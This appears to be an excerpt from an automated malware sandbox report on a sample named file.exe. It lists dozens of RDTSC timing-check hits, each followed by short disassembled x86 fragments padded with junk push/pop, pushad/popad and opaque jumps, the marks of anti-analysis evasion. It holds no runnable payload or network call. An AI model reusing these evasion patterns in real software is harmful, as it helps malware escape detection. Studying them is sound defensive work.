Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8CD3 second address: 10B8CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA458 second address: 10BA462 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9BB0 second address: 10B9BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BA462 second address: 10BA466 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9BB4 second address: 10B9BBE instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0C00BB0B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BAF46 second address: 10BAF54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BAD1B second address: 10BAD28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jp 00007F0C00BB0B06h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BAF54 second address: 10BAF58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BAF58 second address: 10BAF5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BAF5E second address: 10BAF91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007F0C0133BF55h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 sub edi, 05AD3C9Ah 0x00000016 push 00000000h 0x00000018 mov esi, dword ptr [ebp+122D27A3h] 0x0000001e push eax 0x0000001f push eax 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BB834 second address: 10BB850 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 jmp 00007F0C00BB0B0Ah 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BC613 second address: 10BC63D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 mov esi, dword ptr [ebp+122D2BEBh] 0x0000000e push 00000000h 0x00000010 mov edi, dword ptr [ebp+122D2A6Fh] 0x00000016 push 00000000h 0x00000018 xchg eax, ebx 0x00000019 jp 00007F0C0133BF4Ah 0x0000001f push ecx 0x00000020 push esi 0x00000021 pop esi 0x00000022 pop ecx 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push ebx 0x00000027 pushad 0x00000028 popad 0x00000029 pop ebx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107DCFD second address: 107DD0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jno 00007F0C00BB0B06h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BF059 second address: 10BF05E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BF05E second address: 10BF084 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C00BB0B19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BF084 second address: 10BF08A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BF08A second address: 10BF08E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C65FC second address: 10C6600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3740 second address: 10C3762 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0C00BB0B08h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0C00BB0B13h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C57CA second address: 10C57CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3762 second address: 10C376C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F0C00BB0B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C7568 second address: 10C7582 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0C0133BF46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jno 00007F0C0133BF4Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C672A second address: 10C6730 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C57CF second address: 10C57E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C0133BF50h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C6730 second address: 10C6747 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F0C00BB0B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d js 00007F0C00BB0B10h 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C57E3 second address: 10C57FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C0133BF4Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C6747 second address: 10C67AE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 or edi, 475C6422h 0x0000000d mov edi, edx 0x0000000f push dword ptr fs:[00000000h] 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F0C00BB0B08h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov dword ptr fs:[00000000h], esp 0x00000037 mov ebx, dword ptr [ebp+122D2957h] 0x0000003d mov eax, dword ptr [ebp+122D08DDh] 0x00000043 mov bx, dx 0x00000046 push FFFFFFFFh 0x00000048 jmp 00007F0C00BB0B15h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C67AE second address: 10C67B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C973A second address: 10C97AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 nop 0x00000006 xor di, C8B8h 0x0000000b push dword ptr fs:[00000000h] 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F0C00BB0B08h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c push eax 0x0000002d mov dword ptr [ebp+122D1B89h], edx 0x00000033 pop ebx 0x00000034 mov dword ptr [ebp+122D20C5h], ebx 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 sub ebx, 158FE1E9h 0x00000047 mov eax, dword ptr [ebp+122D03D1h] 0x0000004d and di, 3C84h 0x00000052 push FFFFFFFFh 0x00000054 pushad 0x00000055 push edi 0x00000056 adc cx, FCB9h 0x0000005b pop edi 0x0000005c add esi, dword ptr [ebp+122D2111h] 0x00000062 popad 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 jp 00007F0C00BB0B06h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CC5F1 second address: 10CC5F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CC5F7 second address: 10CC5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD679 second address: 10CD687 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD687 second address: 10CD6F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F0C00BB0B06h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e nop 0x0000000f jmp 00007F0C00BB0B15h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007F0C00BB0B08h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 mov edi, dword ptr [ebp+122D2933h] 0x00000036 push 00000000h 0x00000038 jmp 00007F0C00BB0B0Eh 0x0000003d push eax 0x0000003e pushad 0x0000003f pushad 0x00000040 push ecx 0x00000041 pop ecx 0x00000042 jmp 00007F0C00BB0B0Dh 0x00000047 popad 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CD6F9 second address: 10CD6FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE772 second address: 10CE781 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0C00BB0B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D0886 second address: 10D08D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 add ebx, dword ptr [ebp+122D288Bh] 0x0000000f push 00000000h 0x00000011 mov ebx, dword ptr [ebp+122D29B7h] 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push ebx 0x0000001c call 00007F0C0133BF48h 0x00000021 pop ebx 0x00000022 mov dword ptr [esp+04h], ebx 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ebx 0x0000002f push ebx 0x00000030 ret 0x00000031 pop ebx 0x00000032 ret 0x00000033 xor edi, 117DD2B1h 0x00000039 push eax 0x0000003a pushad 0x0000003b jnl 00007F0C0133BF4Ch 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE90F second address: 10CE913 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D180C second address: 10D1810 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6C9C second address: 10D6CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D6CA0 second address: 10D6CD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0C0133BF52h 0x00000008 jnc 00007F0C0133BF46h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F0C0133BF4Fh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD521 second address: 10DD527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD527 second address: 10DD53E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0C0133BF46h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F0C0133BF4Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD53E second address: 10DD543 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DCBD9 second address: 10DCBDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DCD2B second address: 10DCD31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DCEBE second address: 10DCEDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 je 00007F0C0133BF46h 0x0000000c jmp 00007F0C0133BF51h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DCEDB second address: 10DCEDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD018 second address: 10DD023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD023 second address: 10DD027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD027 second address: 10DD02B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD02B second address: 10DD031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD031 second address: 10DD073 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0C0133BF53h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jnc 00007F0C0133BF46h 0x00000010 popad 0x00000011 jmp 00007F0C0133BF56h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jg 00007F0C0133BF46h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD073 second address: 10DD085 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C00BB0B0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD085 second address: 10DD089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD089 second address: 10DD0AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0C00BB0B15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F0C00BB0B0Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E3C5D second address: 10E3C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F0C0133BF46h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jl 00007F0C0133BF46h 0x00000015 jmp 00007F0C0133BF59h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E3E4B second address: 10E3EB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F0C00BB0B16h 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F0C00BB0B10h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007F0C00BB0B0Fh 0x0000001a mov eax, dword ptr [eax] 0x0000001c jmp 00007F0C00BB0B14h 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 pushad 0x00000026 push esi 0x00000027 jnc 00007F0C00BB0B06h 0x0000002d pop esi 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E3EB2 second address: 10E3EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7730 second address: 10E7734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7C1E second address: 10E7C3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C0133BF50h 0x00000009 pop ebx 0x0000000a jmp 00007F0C0133BF4Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E80CB second address: 10E80CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E83C2 second address: 10E83C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E83C8 second address: 10E83CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E83CC second address: 10E83D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E83D0 second address: 10E83E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007F0C00BB0B08h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E83E0 second address: 10E83F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0C0133BF52h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E86FB second address: 10E872F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0C00BB0B11h 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F0C00BB0B12h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EE83A second address: 10EE849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F0C0133BF46h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106CDCB second address: 106CDCF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106CDCF second address: 106CDD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F28A2 second address: 10F28A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2FAB second address: 10F2FAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2FAF second address: 10F2FB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2625 second address: 10F2638 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F0C0133BF46h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2638 second address: 10F263C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F263C second address: 10F2645 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F2645 second address: 10F264B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F33E2 second address: 10F3411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0C0133BF4Dh 0x0000000b jmp 00007F0C0133BF57h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3411 second address: 10F341D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 js 00007F0C00BB0B06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7ED2 second address: 10F7ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7ED8 second address: 10F7EDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F8073 second address: 10F807D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F807D second address: 10F8081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F8B24 second address: 10F8B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F8B28 second address: 10F8B41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F0C00BB0B10h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D81E second address: 109D822 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109D822 second address: 109D843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0C00BB0B11h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007F0C00BB0B06h 0x00000015 rdtsc
